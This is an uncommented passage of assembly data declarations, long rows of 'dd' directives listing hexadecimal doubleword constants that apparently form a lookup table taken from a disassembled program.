		dd 329CC83h, 0A02CE83h,	0B01CF83h, 1001D183h, 401D183h
		dd 0F01D283h, 2010D383h, 504D383h, 604D383h, 648BD783h
		dd 64FED783h, 63FED783h, 0B01D883h, 216D883h, 1301D983h
		dd 10AD983h, 0CB0EDC83h, 0DC10DC83h, 8A12DC83h,	1401E083h
		dd 0C02E083h, 9611E183h, 7808E183h, 0C64E383h, 666E383h
		dd 5B66E383h, 1314E483h, 1414E483h, 240E583h, 1FCE683h
		dd 2FCE683h, 1010E783h,	710E783h, 20AE883h, 316EA83h, 1E16EA83h
		dd 1101EC83h, 201EC83h,	0A54BEE83h, 0A771883h, 50FF183h
		dd 240F383h, 340F383h, 101F483h, 10EF483h, 3289F683h, 7409F683h
		dd 2801F783h, 164F783h,	13AF883h, 201F983h, 0E40FA83h
		dd 240FA83h, 0A00FB83h,	400FB83h, 3581FC83h, 26D0FC83h
		dd 2FEFE83h, 8006FE83h,	4800383h, 7E01E83h, 2F62083h, 28A2383h
		dd 20742483h, 3B742483h, 2CE2583h, 19CE2583h, 2D62683h
		dd 6D62683h, 2F82783h, 6F82783h, 5792C83h, 33292E83h, 36292E83h
		dd 1E642F83h, 3F03083h,	3973283h, 5973283h, 5803383h, 2793483h
		dd 4793483h, 3803583h, 35803583h, 1793683h, 0B793683h
		dd 14793683h, 0B793783h, 2793783h, 0FAD03A83h, 0AC83B83h
		dd 3C83B83h, 2540683h, 3540683h, 45540683h, 0BD33D83h
		dd 2D33D83h, 1323F83h, 2323F83h, 4044083h, 1084083h, 2014283h
		dd 1034483h, 3340783h, 9340783h, 67A04A83h, 68A04A83h
		dd 0FD3C4D83h, 0FD3D4D83h, 0C015083h, 8015083h,	1015183h
		dd 29015483h, 2A015483h, 0A805983h, 1005D83h, 2805E83h
		dd 2545F83h, 2CF0184h, 3CF0184h, 0FFA0A84h, 3FA0A84h, 1899284h
		dd 1059284h, 2809384h, 1409384h, 0D3509484h, 2E10F84h
		dd 0D2E10F84h, 0D3E10F84h, 1089684h, 1019784h, 13019784h
		dd 2039984h, 1249C84h, 0E249C84h, 3319E84h, 24529E84h
		dd 0A731084h, 3C0AA184h, 0F320A284h, 904A384h, 6C0A684h
		dd 7C0A684h, 0B94A884h,	180A984h, 0FF0AA84h, 0FF9AA84h
		dd 0FC0BAE84h, 0FD0BAE84h, 301AF84h, 6F9AF84h, 1772B084h
		dd 1872B084h, 1441B084h, 1F64B184h, 2065B184h, 3880B184h
		dd 6380B184h, 310B284h,	127B384h, 2801284h, 32801284h
		dd 40FB484h, 50FB484h, 2602B584h, 2702B584h, 0B01B784h
		dd 1584B984h, 101BB84h,	301BB84h, 0A4CBD84h, 324B1384h
		dd 0F5CBE84h, 0B01C084h, 0D01C084h, 30AC284h, 0D14C384h
		dd 314C384h, 1F07C384h,	0AF8C584h, 9F8C584h, 5AF8C584h
		dd 0AC9C684h, 0ACAC684h, 0A301C784h, 201C784h, 0CFB1484h
		dd 2FB1484h, 2220C884h,	0AFACB84h, 6602CC84h, 6702CC84h
		dd 1602CC84h, 101CD84h,	3307CD84h, 0B01CE84h, 152CCE84h
		dd 290CF84h, 1FAD084h, 102D184h, 105D184h, 20DD284h, 0A01D384h
		dd 490BD484h, 90BD484h,	1B01D584h, 6301D684h, 0F30D784h
		dd 0C01DA84h, 0E6FE1684h, 0E8FE1684h, 8224DD84h, 0C78DE84h
		dd 0D78DE84h, 104DF84h,	0A05E184h, 2005E184h, 1410E284h
		dd 23CE384h, 1E3CE384h,	0D40E384h, 216E584h, 608E584h
		dd 22C01784h, 23C01784h, 0C8C8E684h, 1E01E784h,	6414E784h
		dd 433E784h, 0AF7E984h,	0BF7E984h, 101EA84h, 1FFAEA84h
		dd 140EB84h, 240EB84h, 2A01ED84h, 5102ED84h, 3401EF84h
		dd 57E1884h, 77E1884h, 0A8CF184h, 0B8CF184h, 0A06F184h
		dd 642F184h, 150F184h, 0A50F184h, 721F584h, 64A1F684h
		dd 0C8A1F684h, 20AF884h, 1CCF884h, 0FAEDF884h, 0FA40F884h
		dd 1914F984h, 1928F984h, 0D3581984h, 0C6CFA84h,	836CFA84h
		dd 0C6EFA84h, 0C74FA84h, 701FC84h, 0A03FC84h, 0B01FE84h
		dd 1C71E84h, 37C71E84h,	5C92084h, 6C92084h, 6842184h, 1F82284h
		dd 0BC32384h, 0DC32384h, 3BE2684h, 4BE2684h, 2792884h
		dd 4792884h, 2782984h, 2802A84h, 6C02D84h, 1742E84h, 0B742E84h
		dd 3802F84h, 2F13084h, 3F13084h, 1DD3184h, 1EDD3184h, 0A480584h
		dd 3A33384h, 0A9A3484h,	149A3484h, 3823784h, 0C783884h
		dd 0D783884h, 13DE3A84h, 14DE3A84h, 5F03C84h, 7F03C84h
		dd 8F03C84h, 8B03D84h, 5F583E84h, 8104184h, 64094684h
		dd 18094684h, 2D8C4884h, 2E8C4884h, 3014A84h, 5014A84h
		dd 1B3F4C84h, 37404C84h, 34504C84h, 0E790884h, 0A0D5084h
		dd 0B025084h, 0FAC85084h, 0F7F0984h, 0C4680185h, 5690185h
		dd 60B0185h, 10700185h,	0A730185h, 1740185h, 5750185h
		dd 1770185h, 1780185h, 2780185h, 3780185h, 5790185h, 327A0185h
		dd 27C0185h, 37C0185h, 57C0185h, 177E0185h, 1800185h, 0F1830185h
		dd 46840185h, 5850185h,	0F0860185h, 10870185h, 0A880185h
		dd 1E880185h, 18A0185h,	0D38B0185h, 38E0185h, 82900185h
		dd 5910185h, 0FA920185h, 0FA940185h, 2960185h, 3960185h
		dd 5960185h, 99B0185h, 5A9B0185h, 29C0185h, 0A9E0185h
		dd 0B9F0185h, 5A00185h,	80110185h, 3110185h, 5110185h
		dd 6110185h, 2AB0185h, 0FAAB0185h, 0FAAC0185h, 0DB20185h
		dd 28B40185h, 1B50185h,	3BA0185h, 0BBB0185h, 4C00185h
		dd 0AC20185h, 3C40185h,	3C60185h, 65020185h, 0ACA0185h
		dd 0BCE0185h, 2CF0185h,	2D50185h, 14D60185h, 7DD70185h
		dd 3DE0185h, 7E10185h, 5E40185h, 3170185h, 5170185h, 0AED0185h
		dd 2180185h, 3180185h, 17F00185h, 19F00185h, 8F20185h
		dd 10F30185h, 13F30185h, 0BEF60185h, 0BFC0185h,	0CFC0185h
		dd 5FD0185h, 0C1B0185h,	21C0185h, 21D0185h, 5030185h, 56200185h
		dd 10240185h, 3270185h,	1280185h, 3280185h, 1E2B0185h
		dd 92C0185h, 0F2E0185h,	0FA300185h, 9340185h, 1360185h
		dd 2360185h, 1380185h, 5390185h, 0CA3C0185h, 0FC3C0185h
		dd 3B3C0185h, 0C3D0185h, 1A440185h, 5070185h, 14D0185h
		dd 44D0185h, 0A500185h,	14500185h, 0C510185h, 1520185h
		dd 36540185h, 1580185h,	295B0185h, 0F75C0185h, 15E0185h
		dd 25E0185h, 1600185h, 4600185h, 0C050A85h, 0B060A85h
		dd 0AF06485h, 0BF06485h, 1A326585h, 19606585h, 1E0C6685h
		dd 0ACC6685h, 14C6785h,	3016885h, 30B6985h, 1036A85h, 84046D85h
		dd 6F0B0B85h, 2D7B0B85h, 0A47C0B85h, 1C86F85h, 11E0C85h
		dd 21E0C85h, 0E057985h,	9017D85h, 0FE037E85h, 82407F85h
		dd 2070D85h, 5070D85h, 3048985h, 1018A85h, 1020E85h, 3E09185h
		dd 6E49185h, 3309485h, 1800F85h, 9400F85h, 82009885h, 0B169985h
		dd 13169985h, 1FC9E85h,	32071085h, 140A385h, 240A385h
		dd 1FEA485h, 2FEA485h, 30AA985h, 0E02AA85h, 3C46AD85h
		dd 1DCB085h, 1501285h, 0AA4B485h, 601BA85h, 101BB85h, 41EBC85h
		dd 11EBD85h, 0F31EBD85h, 17E1385h, 42B5C085h, 43E2C285h
		dd 62E5C285h, 0A02C385h, 1402C385h, 35A0285h, 65A0285h
		dd 75A0285h, 1101485h, 8110CD85h, 8610CD85h, 8D10CD85h
		dd 8140CD85h, 8740CD85h, 5BE1585h, 10BD585h, 649BD885h
		dd 0F5F1D985h, 2FDDC85h, 0FD01DD85h, 788E285h, 17C41785h
		dd 0C9F61785h, 1D01E885h, 80FEE885h, 180EB85h, 230EC85h
		dd 201ED85h, 0C02EE85h,	1141885h, 1E481885h, 264F085h
		dd 108F285h, 103F385h, 203F385h, 270F585h, 0D01F985h, 0AFC1985h
		dd 0E7FEFA85h, 0CA66FD85h, 0A05FE85h, 305FE85h,	28881A85h
		dd 79041B85h, 0C141C85h, 1B011D85h, 0F8651D85h,	2050385h
		dd 2081E85h, 81E1F85h, 91E1F85h, 1C92085h, 0A1012185h
		dd 0B942185h, 0F11C2285h, 0F51C2285h, 1872385h,	5112385h
		dd 6112385h, 1012485h, 1F02585h, 78F02585h, 83F02585h
		dd 70382585h, 79382585h, 17DD2685h, 18DD2685h, 5032785h
		dd 0A052785h, 1062885h,	4062885h, 3302A85h, 9302A85h, 3AA22B85h
		dd 17FF2B85h, 3622B85h,	64012C85h, 66012C85h, 5402D85h
		dd 0D082D85h, 10F2E85h,	20F2E85h, 2C02F85h, 64983085h
		dd 64B63085h, 1203085h,	5203085h, 2483085h, 1043185h, 16043185h
		dd 6010585h, 690A0585h,	1060585h, 40C3385h, 50C3385h, 3D0A3485h
		dd 3E0A3485h, 1F93585h,	2F93585h, 6BC3685h, 0BF03685h
		dd 2023785h, 0C0B3885h,	5013985h, 14143985h, 0C013A85h
		dd 9010685h, 1840685h, 650E3C85h, 0EF03C85h, 20803E85h
		dd 21803E85h, 2143F85h,	0A024085h, 9024085h, 0A104185h
		dd 6104185h, 0D014285h,	1014385h, 0C0154485h, 4824585h
		dd 64010785h, 0FE804685h, 0FD284685h, 1F024785h, 4014885h
		dd 16BF4885h, 2FE4985h,	4FE4985h, 3C024A85h, 1F24B85h
		dd 0F7F24B85h, 0A114D85h, 1DB4E85h, 2DB4E85h, 0C2210885h
		dd 640B5085h, 5805085h,	19D5185h, 6A15185h, 400F5285h
		dd 0AFE5285h, 1015385h,	4025385h, 1045385h, 4045385h, 2645585h
		dd 6135685h, 0B015785h,	0A805785h, 2E85885h, 1035985h
		dd 3010985h, 4010985h, 8875B85h, 8285B85h, 11065C85h, 12065C85h
		dd 3015E85h, 4015E85h, 7015F85h, 30A5F85h, 1686085h, 3686085h
		dd 5016185h, 2106285h, 2A26385h, 10D0186h, 0FB020186h
		dd 3D096486h, 1106586h,	641C6586h, 6B1C6586h, 14146686h
		dd 2206786h, 16206786h,	5F1E6886h, 9136986h, 3286A86h
		dd 0B4026B86h, 1386C86h, 33846D86h, 37846D86h, 0B126E86h
		dd 5286E86h, 0E126F86h,	9126F86h, 38A7286h, 0FFE7286h
		dd 4607286h, 21047386h,	22047386h, 21087386h, 1017586h
		dd 0B017586h, 1010C86h,	2037886h, 1E827986h, 1867986h
		dd 1107986h, 36027986h,	112D7986h, 1407986h, 2407986h
		dd 14027A86h, 0D0F7C86h, 880F7C86h, 1467D86h, 0B0A7E86h
		dd 1E0A7E86h, 6F6F8186h, 1DC98186h, 2018486h, 19C88586h
		dd 1AC88586h, 3F88686h,	2018B86h, 3708C86h, 12009286h
		dd 4099286h, 4DE9386h, 28209386h, 1189486h, 3189486h, 0C4F9786h
		dd 0F4F9786h, 64B49886h, 17029986h, 5A029986h, 5019A86h
		dd 34329B86h, 1649C86h,	81009D86h, 18089D86h, 68459E86h
		dd 0BF459E86h, 421A086h, 504A086h, 0B01A186h, 2001A186h
		dd 1FDA386h, 0AFDA386h,	120A986h, 6B09A986h, 17FEAD86h
		dd 502B086h, 702B086h, 6308B286h, 1670B386h, 3EFB486h
		dd 331B486h, 180B586h, 380B586h, 0D0FB886h, 7FAB886h, 0FCFEBA86h
		dd 0FD04BA86h, 201BC86h, 501C086h, 1A40C086h, 201C186h
		dd 401C186h, 453C186h, 105C586h, 106C586h, 0A0AC686h, 1C80286h
		dd 0A0CC986h, 0B0CC986h, 7801CA86h, 947BCD86h, 683CD86h
		dd 0F01CE86h, 401CE86h,	120ACE86h, 0A00ACF86h, 440ACF86h
		dd 1F011586h, 320E1586h, 1101D286h, 204D286h, 2BED486h
		dd 3BED486h, 0F564D686h, 664D686h, 11AD886h, 6CC8DB86h
		dd 342CDB86h, 1401DC86h, 2701DC86h, 1AC0DC86h, 201DD86h
		dd 0A7ADD86h, 27CDD86h,	182DD86h, 28CDD86h, 0C6A0DD86h
		dd 2ABDD86h, 2B0DD86h, 202DD86h, 802DD86h, 1F9DD86h, 23ADD86h
		dd 343DD86h, 2150DD86h,	455BDD86h, 1D01E086h, 2301E086h
		dd 0B20E186h, 0C20E186h, 7201E286h, 1801E286h, 1C01E286h
		dd 0B51E286h, 1604E786h, 2104E786h, 32FAED86h, 254EF86h
		dd 301F186h, 1A0BF186h,	375F186h, 186F186h, 0F78CF186h
		dd 0FC9FF186h, 1ACF186h, 3C0F186h, 115F186h, 6DDDF186h
		dd 717F186h, 119F186h, 1FBF186h, 11FF186h, 272BF186h, 534F186h
		dd 3E37F186h, 0C85CF186h, 932F386h, 0B40F486h, 201F586h
		dd 2401F586h, 70AF586h,	19BF686h, 1A6F686h, 1404F786h
		dd 302FA86h, 602FA86h, 100AFC86h, 4EFFC86h, 0ECA1C86h
		dd 0ECD1C86h, 180F1E86h, 13051E86h, 0A1A2086h, 2032286h
		dd 3032286h, 1022386h, 3C022486h, 76022786h, 0A0A0486h
		dd 0B6D2F86h, 0C6D2F86h, 1F013086h, 20013086h, 1403186h
		dd 5FE3286h, 1FD3586h, 82063786h, 65033886h, 66033886h
		dd 37E3A86h, 17F3A86h, 99383A86h, 1013B86h, 7013B86h, 34C0686h
		dd 6F013C86h, 10A3C86h,	15423C86h, 83024186h, 84024186h
		dd 0AD04386h, 5D04386h,	2014486h, 9014486h, 7C460786h
		dd 64024686h, 64044786h, 64054786h, 7804A86h, 2C04A86h
		dd 6C04A86h, 27A4B86h, 2E24B86h, 11E4B86h, 96604B86h, 2E0A4C86h
		dd 2624C86h, 0A104F86h,	9104F86h, 0FD075286h, 16C5386h
		dd 3E805386h, 31E5386h,	54545486h, 1705786h, 1015886h
		dd 0B045B86h, 3045B86h,	7905D86h, 2505E86h, 0D0645F86h
		dd 0D1645F86h, 14FC6086h, 1FE6086h, 7076086h, 5806386h
		dd 0B03C587h, 43FFCE87h, 23FCE87h, 1185A87h, 1195A87h
		dd 14010188h, 0C028D88h, 0D028D88h, 7028D88h, 8028D88h
		dd 0A0F8E88h, 49BC8E88h, 0A398E88h, 54F8E88h, 0B958F88h
		dd 4019188h, 1019488h, 0A019488h, 2029988h, 5029988h, 0EC069A88h
		dd 15019F88h, 1029F88h,	0C9229F88h, 3D4A388h, 0BD8A488h
		dd 0F21A488h, 0AFDA588h, 59FDA588h, 0B002A788h,	902A788h
		dd 832AA88h, 932AA88h, 0F064AC88h, 0ABBAE88h, 428B088h
		dd 705B088h, 310B188h, 10A0B388h, 2201B688h, 6F01BA88h
		dd 7301BA88h, 914BA88h,	6508C788h, 14010288h, 696C888h
		dd 640C888h, 654C888h, 1701C988h, 301C988h, 169C988h, 369C988h
		dd 16AC988h, 318C988h, 301CE88h, 101E088h, 1620E088h, 30EEB88h
		dd 6E3CED88h, 20AF288h,	1201F488h, 601F488h, 0C0AF788h
		dd 0AD40189h, 1FD6489h,	4016789h, 1806889h, 96806C89h
		dd 28F6C89h, 38F6C89h, 0B016F89h, 0C016F89h, 0C4047089h
		dd 65C07189h, 1C017689h, 1D017689h, 1E017689h, 1F017689h
		dd 1017889h, 5017889h, 1017989h, 2017989h, 1787989h, 20D7989h
		dd 19D7989h, 19E7989h, 19F7989h, 1A27989h, 5167989h, 1E3D7989h
		dd 1517989h, 0A067A89h,	4018189h, 3968189h, 0AC88389h
		dd 9C88389h, 47B8489h, 2058489h, 22F8689h, 0FE0B8B89h
		dd 64018C89h, 66018C89h, 6A018C89h, 1018D89h, 2018D89h
		dd 3018D89h, 1008E89h, 63128E89h, 0ACC9189h, 2ED29289h
		dd 0B319489h, 19059489h, 1039589h, 4F50F89h, 1409689h
		dd 1019789h, 2019789h, 14109A89h, 0D20C9B89h, 0D80C9B89h
		dd 0DB0D9D89h, 0CD2D9D89h, 0D13A9D89h, 1809E89h, 1089F89h
		dd 650F1089h, 680F1089h, 204A589h, 208A589h, 110A689h
		dd 5512A989h, 0FE13A989h, 0C8501189h, 9D3AC89h,	68F8AC89h
		dd 290AE89h, 0B80BA89h,	106BD89h, 1506BD89h, 201BE89h
		dd 402C089h, 3F0C089h, 5F0C089h, 150AC189h, 80BC189h, 1A0C289h
		dd 3A0C289h, 5420C289h,	6997C389h, 12F0C989h, 13F0C989h
		dd 105CB89h, 0F01CC89h,	0BC0CD89h, 6C0CD89h, 2A03D089h
		dd 0F011589h, 0D6C3D589h, 0FCFCD589h, 0D628D589h, 150D689h
		dd 1065D789h, 1550D889h, 64B0D989h, 0D74DB89h, 0E10DB89h
		dd 0D011689h, 601DC89h,	240ADE89h, 270ADE89h, 650AE089h
		dd 481E089h, 3FAE189h, 1570E289h, 390E289h, 0A5AE489h
		dd 0B5AE489h, 270AE589h, 290CE589h, 0B04EC89h, 704EC89h
		dd 301EE89h, 62801889h,	0FDF0F089h, 2F9F089h, 0BFAF189h
		dd 15FAF189h, 0C701F289h, 2D7F489h, 0C8D7F489h,	3D7F489h
		dd 501F889h, 801F889h, 1615F889h, 0FE01FA89h, 46FFA89h
		dd 224FB89h, 324FB89h, 0B09FC89h, 11011C89h, 12011C89h
		dd 237A0389h, 0FE011E89h, 6011E89h, 11FE2189h, 3012789h
		dd 1BA0489h, 12BA0489h,	13BA0489h, 0D012B89h, 14012C89h
		dd 1B012C89h, 2E012C89h, 84802D89h, 64202D89h, 64013089h
		dd 1643089h, 870A0589h,	0F70A0589h, 4043289h, 0BE03489h
		dd 0BE83489h, 28013589h, 5CB3589h, 1B003889h, 28003889h
		dd 5ED3D89h, 1014189h, 1104289h, 1014589h, 1654589h, 0C2D4589h
		dd 1354589h, 5024989h, 0B5014B89h, 0B6014B89h, 0A064C89h
		dd 7015189h, 1015289h, 31C5289h, 13790989h, 2790989h, 1725B89h
		dd 1015C89h, 8F055E89h,	6FBF5F89h, 70BF5F89h, 400F6389h
		dd 0E196389h, 404648Ah,	804648Ah, 0D580658Ah, 0DF80658Ah
		dd 5BBE658Ah, 3C2658Ah,	11C6658Ah, 0CC7658Ah, 33CE658Ah
		dd 11D8658Ah, 1B0688Ah,	64646A8Ah, 640A6B8Ah, 1016E8Ah
		dd 0C8016E8Ah, 0A00708Ah, 304718Ah, 205748Ah, 650C7B8Ah
		dd 0F1447B8Ah, 0F0547B8Ah, 6FE818Ah, 8FE818Ah, 3FD40D8Ah
		dd 40D40D8Ah, 1991838Ah, 1A91838Ah, 335848Ah, 511858Ah
		dd 711858Ah, 0BA65868Ah, 4202868Ah, 1EC8868Ah, 6E198B8Ah
		dd 6F198B8Ah, 6E238B8Ah, 6F238B8Ah, 5048B8Ah, 1EA0E8Ah
		dd 3C688D8Ah, 3D688D8Ah, 3F8908Ah, 302918Ah, 303918Ah
		dd 0A0A938Ah, 1C80F8Ah,	0A80A48Ah, 0F80A48Ah, 0E02A98Ah
		dd 1A08B28Ah, 42BEB48Ah, 43BEB48Ah, 415B58Ah, 515B58Ah
		dd 225FB78Ah, 227FB88Ah, 4778BD8Ah, 4878BD8Ah, 0C01BE8Ah
		dd 0CA01BE8Ah, 0C14C08Ah, 0A0AC28Ah, 802C28Ah, 21EC28Ah
		dd 321C38Ah, 2564C68Ah,	110C78Ah, 0AC0CA8Ah, 351D28Ah
		dd 1B81168Ah, 0C8C8DD8Ah, 61C8DD8Ah, 63C8DD8Ah,	0C32DD8Ah
		dd 7B98DE8Ah, 0D592178Ah, 64E2178Ah, 891DE68Ah,	26EE78Ah
		dd 4B0E78Ah, 401E88Ah, 501E88Ah, 3204EA8Ah, 1280EC8Ah
		dd 380ED8Ah, 780ED8Ah, 169CEE8Ah, 170EF8Ah, 770EF8Ah, 201188Ah
		dd 2201188Ah, 6410F58Ah, 0C20F78Ah, 110198Ah, 810198Ah
		dd 4301FA8Ah, 4B01FA8Ah, 442FB8Ah, 21FFD8Ah, 31FFD8Ah
		dd 2011A8Ah, 2011C8Ah, 0A011D8Ah, 106258Ah, 107258Ah, 320268Ah
		dd 0A07278Ah, 307278Ah,	10B288Ah, 25C288Ah, 1482C8Ah, 3122F8Ah
		dd 0A04308Ah, 404308Ah,	0EA80318Ah, 2A0068Ah, 0FC83F8Ah
		dd 37C83F8Ah, 114408Ah,	204408Ah, 501428Ah, 5C8428Ah, 201438Ah
		dd 301438Ah, 1B0A468Ah,	140A488Ah, 1C1E488Ah, 0FD01498Ah
		dd 0C004A8Ah, 0D004A8Ah, 70A4B8Ah, 1014D8Ah, 17014D8Ah
		dd 6054D8Ah, 2014E8Ah, 0A804F8Ah, 380508Ah, 0A03568Ah
		dd 303568Ah, 16E578Ah, 104578Ah, 101098Ah, 5B015A8Ah, 22C018Bh
		dd 302678Bh, 502678Bh, 0A0A0B8Bh, 201758Bh, 401758Bh, 1108758Bh
		dd 6810798Bh, 2017C8Bh,	7B087F8Bh, 7C087F8Bh, 212808Bh
		dd 84390D8Bh, 504828Bh,	2664838Bh, 401848Bh, 1807858Bh
		dd 1C07858Bh, 1202868Bh, 202868Bh, 104898Bh, 304898Bh
		dd 63010E8Bh, 1018C8Bh,	210E8C8Bh, 1018D8Bh, 4838D8Bh
		dd 3C78D8Bh, 4C78D8Bh, 63E58D8Bh, 7E048D8Bh, 7D058D8Bh
		dd 2028E8Bh, 3028E8Bh, 1058F8Bh, 2058F8Bh, 801908Bh, 2A2A928Bh
		dd 101988Bh, 764998Bh, 0C80D998Bh, 1E12A38Bh, 3353A38Bh
		dd 3319A58Bh, 0D20A58Bh, 1406A58Bh, 0A60A58Bh, 2A0A98Bh
		dd 201118Bh, 701118Bh, 0A80118Bh, 502AE8Bh, 602AE8Bh, 140AAF8Bh
		dd 1496AF8Bh, 10FCAF8Bh, 0F437AF8Bh, 4FE0B18Bh,	50E0B18Bh
		dd 0D0AB38Bh, 201128Bh,	319128Bh, 2AAB48Bh, 3AAB48Bh, 2203B58Bh
		dd 1906B58Bh, 102B68Bh,	602B68Bh, 0C0EB88Bh, 1B20B88Bh
		dd 322AB88Bh, 101138Bh,	9201BF8Bh, 140148Bh, 240148Bh
		dd 501DE8Bh, 182DE8Bh, 8802DF8Bh, 1002DF8Bh, 280E18Bh
		dd 580E68Bh, 0B3C1C8Bh,	13F038Bh, 7081E8Bh, 8081E8Bh, 35302F8Bh
		dd 64D8308Bh, 63D8308Bh, 1BF338Bh, 109338Bh, 210398Bh
		dd 0A20398Bh, 0AE63A8Bh, 18013B8Bh, 201068Bh, 4201068Bh
		dd 2D23C8Bh, 0C6C83E8Bh, 0C7C83E8Bh, 5C03F8Bh, 308438Bh
		dd 76D458Bh, 7D1E078Bh,	7E1E078Bh, 6F02468Bh, 1CBE488Bh
		dd 404498Bh, 1014B8Bh, 2014B8Bh, 6404C8Bh, 7404C8Bh, 1644E8Bh
		dd 1C84E8Bh, 36A4F8Bh, 140508Bh, 201528Bh, 310528Bh, 0D20A548Bh
		dd 1015B8Bh, 3BF5B8Bh, 3815D8Bh, 4815D8Bh, 1FB5F8Bh, 102668Ch
		dd 31D678Ch, 101688Ch, 6406698Ch, 0B346B8Ch, 0B586B8Ch
		dd 0B5C6B8Ch, 0A016D8Ch, 1106E8Ch, 1046E8Ch, 13C6E8Ch
		dd 2016F8Ch, 14016F8Ch,	15F6F8Ch, 2FE708Ch, 4FE708Ch, 101718Ch
		dd 0A40728Ch, 157728Ch,	1F01738Ch, 631F768Ch, 6E01778Ch
		dd 201788Ch, 1501788Ch,	9417A8Ch, 5027B8Ch, 20D7C8Ch, 2017F8Ch
		dd 0B51828Ch, 0C901848Ch, 0C903848Ch, 104868Ch,	0F12878Ch
		dd 0FBF7888Ch, 0FCF7888Ch, 801898Ch, 64028A8Ch,	64048A8Ch
		dd 33A8C8Ch, 2028D8Ch, 0D058E8Ch, 5058E8Ch, 14CC908Ch
		dd 2880928Ch, 0C02938Ch, 0FA05948Ch, 107948Ch, 0AC07948Ch
		dd 0C5D968Ch, 2C2B998Ch, 0B6409D8Ch, 0C7409E8Ch, 0C8409E8Ch
		dd 0C1E9F8Ch, 1419F8Ch,	0CF0A08Ch, 0DF2A08Ch, 202A18Ch
		dd 802A18Ch, 0FE09A38Ch, 101A48Ch, 201A48Ch, 6302A58Ch
		dd 1401A98Ch, 0F24A98Ch, 90AAC8Ch, 0AFEAC8Ch, 206AC8Ch
		dd 144DAE8Ch, 0BD6AF8Ch, 0CD6AF8Ch, 0DD6AF8Ch, 15D6AF8Ch
		dd 0C0AB18Ch, 2521B28Ch, 2621B28Ch, 0FEB0B38Ch,	0B60B58Ch
		dd 7E53B78Ch, 101B88Ch,	2D1CB98Ch, 2E1CB98Ch, 0E01BA8Ch
		dd 401BA8Ch, 9940BC8Ch,	440BC8Ch, 280BE8Ch, 3201C08Ch
		dd 0FA08C08Ch, 101C38Ch, 6901C38Ch, 0F08C68Ch, 0BA07CB8Ch
		dd 109CB8Ch, 901D08Ch, 501D18Ch, 140AD38Ch, 101DC8Ch, 609DD8Ch
		dd 10AE48Ch, 4C05E68Ch,	501E88Ch, 401E98Ch, 0CC02E98Ch
		dd 101EA8Ch, 0A3EED8Ch,	0B3EED8Ch, 0EF8CEF8Ch, 101F28Ch
		dd 0F66F38Ch, 1066F38Ch, 4501F48Ch, 2202F48Ch, 109BFB8Ch
		dd 1202FB8Ch, 3601FC8Ch, 87AFD8Ch, 4284208Ch, 33CC4C8Ch
		dd 0B7014D8Ch, 20014D8Ch, 3E024E8Ch, 3E034E8Ch,	8024F8Ch
		dd 82C1508Ch, 180588Ch,	13E75A8Ch, 0C005D8Ch, 0F005D8Ch
		dd 0D525E8Ch, 0E525E8Ch, 0C04618Ch, 0D04618Ch, 200638Ch
		dd 201638Ch, 101018Dh, 140A648Dh, 320F648Dh, 0FB96688Dh
		dd 3056C8Dh, 43EA0B8Dh,	44EA0B8Dh, 5A04708Dh, 504738Dh
		dd 164758Dh, 464758Dh, 9230C8Dh, 1A3E0C8Dh, 208788Dh, 308788Dh
		dd 72107A8Dh, 4647B8Dh,	46E7B8Dh, 8027F8Dh, 401818Dh, 2D20D8Dh
		dd 2FA0D8Dh, 11FA828Dh,	1C80838Dh, 1C03838Dh, 204848Dh
		dd 1800E8Dh, 2018C8Dh, 2028E8Dh, 1030F8Dh, 4400968Dh, 4400978Dh
		dd 4480978Dh, 5E99978Dh, 44009A8Dh, 44009B8Dh, 23469B8Dh
		dd 4F4108Dh, 0C964A18Dh, 0FB65A28Dh, 0FA01A38Dh, 764A48Dh
		dd 0D918A48Dh, 0A01A58Dh, 901A58Dh, 7BCA68Dh, 332CA78Dh
		dd 342CA78Dh, 55FAE8Dh,	75FAE8Dh, 11FB08Dh, 0B01128Dh
		dd 0C01128Dh, 5021BB8Dh, 4B01138Dh, 0C805C38Dh,	980C68Dh
		dd 688C68Dh, 0E0FC78Dh,	50FC78Dh, 101028Dh, 4A16028Dh
		dd 1F01148Dh, 301C98Dh,	601C98Dh, 1FF8CA8Dh, 20F8CA8Dh
		dd 0CFECB8Dh, 1601D18Dh, 304158Dh, 0F0AD28Dh, 190AD28Dh
		dd 0F7DD38Dh, 0F90D38Dh, 0F84BD38Dh, 4502D48Dh,	5102D48Dh
		dd 90FCD68Dh, 345D78Dh,	301D88Dh, 0D01D98Dh, 0F01D98Dh
		dd 0B10D98Dh, 6401DA8Dh, 6801DA8Dh, 1E64DB8Dh, 1E04DB8Dh
		dd 20C0168Dh, 21C0168Dh, 140E08Dh, 201E18Dh, 501E18Dh
		dd 0B504E48Dh, 101E88Dh, 180E98Dh, 29FE98Dh, 201EE8Dh
		dd 20C188Dh, 104188Dh, 40AF18Dh, 26BF18Dh, 406F18Dh, 6409F28Dh
		dd 3209F28Dh, 0B80F48Dh, 0A07F48Dh, 0B07F48Dh, 0DC28F58Dh
		dd 7302F68Dh, 280F88Dh,	501FA8Dh, 701FA8Dh, 301FC8Dh, 496FC8Dh
		dd 0B01FE8Dh, 1401A8Dh,	5401A8Dh, 13021C8Dh, 87D1E8Dh
		dd 87421E8Dh, 26F1F8Dh,	11C0208Dh, 10D0218Dh, 1001228Dh
		dd 1001238Dh, 5001238Dh, 6B0A258Dh, 0ADA258Dh, 602268Dh
		dd 702268Dh, 20D278Dh, 2904048Dh, 107048Dh, 230A288Dh
		dd 0FA01298Dh, 1012B8Dh, 0A2C2B8Dh, 28052B8Dh, 1012C8Dh
		dd 2012C8Dh, 1012D8Dh, 64052D8Dh, 1082E8Dh, 3C082E8Dh
		dd 1462F8Dh, 28462F8Dh,	1103308Dh, 303308Dh, 3303308Dh
		dd 0E9C1318Dh, 0CC4058Dh, 0BA1328Dh, 308338Dh, 408338Dh
		dd 108358Dh, 308358Dh, 301368Dh, 8164368Dh, 32C0378Dh
		dd 33C0378Dh, 21F388Dh,	31F388Dh, 101398Dh, 601398Dh, 9E73A8Dh
		dd 0B01068Dh, 2A03C8Dh,	5A03C8Dh, 17013D8Dh, 20013D8Dh
		dd 5013E8Dh, 0A043F8Dh,	3703408Dh, 5403408Dh, 0C812428Dh
		dd 101458Dh, 1201078Dh,	1501478Dh, 1601478Dh, 0A03488Dh
		dd 0C03488Dh, 1084B8Dh,	25E14D8Dh, 4804F8Dh, 3210508Dh
		dd 0B19508Dh, 0A08508Dh, 0F210528Dh, 180558Dh, 26E578Dh
		dd 140598Dh, 141598Dh, 1025A8Dh, 2235D8Dh, 0C01638Dh, 4F9E638Dh
		dd 202638Dh, 51E668Eh, 106688Eh, 250688Eh, 5866B8Eh, 27B86C8Eh
